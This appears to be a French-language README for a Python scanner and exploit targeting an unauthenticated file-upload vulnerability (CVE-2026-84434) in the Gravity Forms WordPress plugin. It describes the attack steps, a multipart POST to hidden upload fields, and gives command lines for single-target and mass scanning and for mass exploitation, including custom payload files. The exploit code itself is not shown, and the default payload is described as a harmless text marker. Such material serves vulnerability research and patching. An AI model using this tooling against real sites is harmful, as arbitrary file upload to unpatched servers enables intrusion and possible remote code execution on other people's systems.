Scanner PoC et exploit en Python 3 pour CVE-2026-84434 dans Gravity Forms.
| |
|---|
| Plugin | gravityforms |
| Affecté | ≤ 3.1.0.4 |
| Corrigé dans | 3.1.0.5+ (version de sécurité du fournisseur 3.1.1) |
| CVSS | 9.8 (Critique) |
| Auth | Non authentifié |
| CWE | CWE-434 — Téléversement sans restriction |
| Crédit | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Résumé
Les champs File Upload masqués contournent la validation d'extension dans le pipeline de validation, tandis que le chemin de persistance peut toujours appeler upload_file() sans vérifications équivalentes. Un attaquant non authentifié peut envoyer une requête POST vers un formulaire public qui inclut un champ File Upload avec Visibility → Hidden.
Les fichiers sont stockés sous wp-content/uploads/gravity_forms/. Gravity Forms ajoute généralement des règles .htaccess pour bloquer l'exécution de PHP ; l'exécution de code à distance dépend de la configuration du serveur (nginx, docroot alternatif, etc.).
Déroulement de l'attaque
- Détecter Gravity Forms et la version ≤ 3.1.0.4
- Parcourir les pages publiques à la recherche de
gform_wrapper et d'un champ fileupload masqué (input_{form}_{field})
- Remplir les champs visibles obligatoires avec des valeurs fictives
- Requête POST multipart (
gform_submit, is_submit_{id}, fichier sur l'entrée masquée)
- Confirmer via le message de confirmation / indices d'entrée / récupération optionnelle du marqueur
Prérequis
- Python 3.9+
pip install -r requirements.txt
Utilisation
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
Options CLI
Sortie (vérification en masse)
Valeurs status courantes (check)
Limitations
- Le mode check ne voit que les champs de téléversement masqués rendus dans le HTML public ; les champs masqués réservés à l'administration ne sont pas découvrables à distance.
- Les listes au format FOFA contiennent de nombreux sites corrigés ou des formulaires sans téléversement masqué — attendez-vous à un faible taux de candidats.
- L'exploit par défaut téléverse un marqueur texte inoffensif, pas un webshell.
Arborescence du dépôt
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de scan locales et les artefacts (list.txt, *.jsonl, payloads personnalisés) sont dans .gitignore et ne doivent pas être commités.
Légal
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.